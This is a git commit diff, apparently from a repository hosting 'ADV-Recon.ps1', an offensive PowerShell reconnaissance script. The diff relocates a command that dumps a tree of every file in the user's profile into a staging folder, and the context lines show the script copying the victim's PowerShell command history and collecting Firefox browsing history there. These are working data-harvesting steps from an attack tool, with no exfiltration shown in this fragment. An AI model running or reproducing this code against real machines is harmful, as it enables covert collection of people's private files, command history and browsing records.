Update ADV-Recon.ps1
This commit is contained in:
parent
ae118edc1c
commit
4fb9b2b36b
1 changed files with 5 additions and 3 deletions
|
@ -52,6 +52,11 @@ New-Item -Path $env:tmp/$FolderName -ItemType Directory
|
||||||
|
|
||||||
############################################################################################################################################################
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# Recon all User Directories
|
||||||
|
tree $Env:userprofile /a /f >> $env:TEMP\$FolderName\tree.txt
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
function Get-fullName {
|
function Get-fullName {
|
||||||
|
|
||||||
try {
|
try {
|
||||||
|
@ -502,9 +507,6 @@ Get-BrowserData -Browser "firefox" -DataType "history" >> $env:TMP\$FolderName\B
|
||||||
|
|
||||||
############################################################################################################################################################
|
############################################################################################################################################################
|
||||||
|
|
||||||
# Recon all User Directories
|
|
||||||
tree $Env:userprofile /a /f >> $env:TEMP\$FolderName\tree.txt
|
|
||||||
|
|
||||||
# Powershell history
|
# Powershell history
|
||||||
Copy-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Destination $env:TEMP\$FolderName\Powershell-History.txt
|
Copy-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Destination $env:TEMP\$FolderName\Powershell-History.txt
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue